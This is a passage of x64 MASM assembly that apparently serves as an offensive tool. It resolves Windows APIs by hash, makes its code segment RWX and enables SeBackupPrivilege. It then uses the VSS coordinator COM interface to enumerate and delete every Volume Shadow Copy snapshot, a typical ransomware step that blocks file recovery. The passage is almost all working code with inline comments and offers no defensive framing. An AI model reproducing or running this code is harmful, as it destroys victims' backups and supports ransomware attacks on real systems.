		mov qword ptr [rsp + 0A0h].UNICODE_STRING.Buffer, r10                                      ;
		mov dword ptr [rsp + 0A0h].UNICODE_STRING._Length, 16h                                     ; strlen(Buffer)
		mov dword ptr [rsp + 0A0h].UNICODE_STRING.MaximumLength, 18h                               ; sizeof(Buffer)

		xor rcx, rcx                                                                               ; PathToFile 
		xor rdx, rdx                                                                               ; Flags
		mov r8, rsp                                                                                ; ModuleFileName
		add r8, 0A0h                                                                               ;
		mov r9, rsp                                                                                ; ModuleHandle 
		add r9, 0D0h                                                                               ; 
		mov rax, [rsp + 50h]                                                                       ; Address of LdrLoadDll
		call rax                                                                                   ; Call LdrLoadDll function

		; Get address of CoCreateInstance, CoInitializeEx, CoInitializeSecurity, CoUninitialize
		mov rdx, [rsp + 0D0h]                                                                      ; Module base
		mov rcx, 04h                                                                               ; Number of function to resolve
		mov r8, rsp                                                                                ; Address of the hashes
		add r8, 34h                                                                                ;
		mov r9, rsp                                                                                ; Address of the function pointers
		add r9, 78h                                                                                ;
		call ResolveFunctionAddresses                                                              ; Call ResolveFunctionAddresses

;----------------------------------------------------------------------------------------------------------------------
; 2. Make the code segment RWX in order to be able to initialise and exec the 
; various COM interfaces.
;----------------------------------------------------------------------------------------------------------------------
		lea rcx, Objects                                                                           ; lpAddress
		mov rdx, 1000h                                                                             ; dwSize
		mov r8, 40h                                                                                ; flNewProtect
		lea r9, [rsp + 20h]                                                                        ; lpflOldProtect
		mov rax, [rsp + 70h]                                                                       ; Address of VirtualProtect
		call rax                                                                                   ; Call VirtualProtect function
		test eax, eax                                                                              ;
		jz _epilogue                                                                               ;

;----------------------------------------------------------------------------------------------------------------------
; 3. Copy the function pointer in memory.
;----------------------------------------------------------------------------------------------------------------------
		mov rsi, rsp                                                                               ; Source 
		add rsi, 50h                                                                               ;
		mov rdi, [Functions]                                                                       ; Destination
		xor ecx, ecx                                                                               ; Number of function pointers
		add ecx, 09h                                                                               ; 
	_function_move_loop:
		movsq                                                                                      ; Move data
		loop _function_move_loop                                                                   ;

;----------------------------------------------------------------------------------------------------------------------
; 4. Ensure that the current thread inpersonation token as the SeBackupPrivilege privilege.
;----------------------------------------------------------------------------------------------------------------------
		xor rcx, rcx                                                                               ; Privilege
		add cx, 11h                                                                                ;
		xor rdx, rdx                                                                               ; EnablePrivilege
		inc dx                                                                                     ;
		xor r8, r8                                                                                 ; IsThreadPrivilege
		mov r9, rsp                                                                                ; PreviousValue
		add r9, 20h                                                                                ; 
		call RtlAdjustPrivilege                                                                    ; Call RtlAdjustPrivilege
		test eax, eax                                                                              ;
		jnz _epilogue                                                                              ;

;----------------------------------------------------------------------------------------------------------------------
; 5. Initialise COM context and security context.
; Additonally disable structured exception handler.
;----------------------------------------------------------------------------------------------------------------------
		xor ecx, ecx                                                                               ; pvReserved
		xor edx, edx                                                                               ; dwCoInit
		call CoInitializeEx                                                                        ; Call CoInitializeEx
		test eax, eax                                                                              ;
		jnz _epilogue                                                                              ;

		; Initialise COM security context
		xor ecx, ecx                                                                               ; pSecDesc
		mov rdx, 0FFFFFFFFFFFFFFFFh                                                                ; cAuthSvc
		xor r8, r8                                                                                 ; asAuthSvc
		xor r9, r9                                                                                 ; pReserved1
		mov qword ptr [rsp + 20h], 06h                                                             ; dwAuthnLevel
		mov dword ptr [rsp + 28h], 02h                                                             ; dwImpLevel
		mov qword ptr [rsp + 30h], 00h                                                             ; pAuthList
		mov dword ptr [rsp + 38h], 00h                                                             ; dwCapabilities
		mov dword ptr [rsp + 40h], 00h                                                             ; pReserved3
		call CoInitializeSecurity                                                                  ; Call CoInitializeSecurity
		test eax, eax                                                                              ;
		jnz _epilogue                                                                              ;

		; Get the IGlobalOptions interface
		lea rcx, CLSID_GlobalOptions                                                               ; rclsid
		xor rdx, rdx                                                                               ; pUnkOuter
		xor r8, r8                                                                                 ; dwClsContext (CLSCTX_INPROC_SERVER)
		inc r8                                                                                     ; 
		lea r9, IID_GlobalOptions                                                                  ; riid
		lea r10, GlobalOptions                                                                     ; ppv
		mov qword ptr [rsp + 20h ], r10                                                            ;
		call CoCreateInstance                                                                      ; Call CoCreateInstance
		test eax, eax                                                                              ;
		jnz _epilogue                                                                              ;

		; Disable SEH
		mov rcx, qword ptr [GlobalOptions]                                                         ; This
		xor edx, edx                                                                               ; dwProperty
		inc edx                                                                                    ;
		xor r8, r8                                                                                 ; dwValue
		inc r8                                                                                     ;
		mov rax, qword ptr [rcx]                                                                   ; Address of GlobalOptions::Set
		call [rax].GlobalOptionsVtbl.Set                                                           ; Call GlobalOptions::Set
		test eax, eax                                                                              ;
		jnz _epilogue                                                                              ;

		; Cleanup
		mov rax, qword ptr [GlobalOptions]                                                         ; Address of GlobalOptions::Release
		mov rax, qword ptr [rax]                                                                   ;
		call [rax].GlobalOptionsVtbl.Release                                                       ; Call GlobalOptions::Release
	
;----------------------------------------------------------------------------------------------------------------------
; 6. Get a valid pointer to a IVssCoordinator COM interface
;----------------------------------------------------------------------------------------------------------------------
		lea rcx, CLSID_VssCoordinator                                                              ; rclsid
		xor edx, edx                                                                               ; pUnkOuter
		xor r8, r8                                                                                 ; dwClsContext (CLSCTX_REMOTE_SERVER | CLSCTX_LOCAL_SERVER)
		mov r8b, 14h                                                                               ;
		lea r9, IID_VssCoordinator                                                                 ; riid
		lea r10, [VssCoordinator]                                                                  ; ppv
		mov qword ptr [rsp + 20h ], r10                                                            ;
		call CoCreateInstance                                                                      ; Call CoCreateInstance
		test eax, eax                                                                              ;
		jnz _epilogue                                                                              ;

;----------------------------------------------------------------------------------------------------------------------
; 7. Set the context
;----------------------------------------------------------------------------------------------------------------------
		mov rcx, qword ptr [VssCoordinator]                                                        ; This
		mov edx, 0FFFFFFFFh                                                                        ; p1
		mov rax, qword ptr [rcx]                                                                   ; Address of VssCoordinator::SetContext
		call [rax].VssCoordinatorVtbl.SetContext                                                   ; Call VssCoordinator::SetContext
		test eax, eax                                                                              ;
		jnz _epilogue                                                                              ;

;----------------------------------------------------------------------------------------------------------------------
; 8. Get  valid pointer to a IVssEnumObject COM interface
;----------------------------------------------------------------------------------------------------------------------
		mov rcx, qword ptr [VssCoordinator]                                                        ; This
		lea rdx, CLSID_NULL                                                                        ; p0
		xor r8, r8                                                                                 ; p1
		inc r8                                                                                     ; 
		xor r9, r9                                                                                 ; p2
		add r9, 03h                                                                                ;
		lea rax, VssEnumObject                                                                     ; p3
		mov qword ptr [rsp + 20h], rax                                                             ; 
		mov rax, qword ptr [rcx]                                                                   ; Address of VssCoordinator::Query
		call [rax].VssCoordinatorVtbl.Query                                                        ; Call VssCoordinator::Query
		cmp qword ptr [VssEnumObject], 00h                                                         ;
		jz _epilogue                                                                               ;

;----------------------------------------------------------------------------------------------------------------------
; 9. Parse each entry one by one
;----------------------------------------------------------------------------------------------------------------------
	_vss_object_prop_loop:
		mov rcx, qword ptr [VssEnumObject]                                                         ; This
		mov rdx, 01h                                                                               ; celt
		mov r8, rsp                                                                                ; rgelt
		add r8, 50h                                                                                ; 
		mov r9, r8                                                                                 ; pceltFetched
		add r8, 08h                                                                                ; 
		mov rax, qword ptr [rcx]                                                                   ; Address of VssEnumObject::Next
		call [rax].VssEnumObjectVtbl.Next                                                          ; Call VssEnumObject::Next

		; Ensure that a structure has been returned
		cmp al, 01                                                                                 ; This points to object type 
		je _vss_object_prop_end                                                                    ; 
		cmp byte ptr [rsp + 50h], 01h                                                              ; 
		jne _vss_object_prop_end                                                                   ;

		; Check the type of the object returned
		cmp [rsp + 58h]._VSS_OBJECT_PROP.ObjType, 03h                                              ; Check the object type
		jne _vss_object_prop_loop                                                                  ;

		; Delete the object
		mov rcx, qword ptr [VssCoordinator]                                                        ; This
		lea rdx, [rsp + 58h]._VSS_OBJECT_PROP.Snap.m_SnapshotId                                    ; Snapshot GUID to delete
		mov r8, 03h                                                                                ; Object type to delte
		mov r9, 01h                                                                                ; Number of objects to delete

		mov r11, rsp                                                                               ;
		add r11, 58h + sizeof _VSS_OBJECT_PROP                                                     ;
		mov qword ptr [rsp + 20h], r11                                                             ; Out INT
		add r11, 08h                                                                               ; Out GUID
		mov qword ptr [rsp + 28h], r11                                                             ; 

		mov rax, qword ptr [rcx]                                                                   ; Address of VssCoordinator::DeleteSnapshots
		call [rax].VssCoordinatorVtbl.DeleteSnapshots                                              ; Call VssCoordinator::DeleteSnapshots
		jmp _vss_object_prop_loop                                                                  ;

;----------------------------------------------------------------------------------------------------------------------
; A. Uninitialise COM context and exit.
;----------------------------------------------------------------------------------------------------------------------
	_vss_object_prop_end:
		call CoUninitialize                                                                        ; Call CoUninitialize

	_epilogue:
		mov rsp, rbp                                                                               ;
		pop rbp                                                                                    ;
	_exit:
		mov rcx, 00h                                                                               ;
		call ExitProcess                                                                           ; Exit process
	xaoc ENDP


; End of file.
_TEXT$00 ENDS
END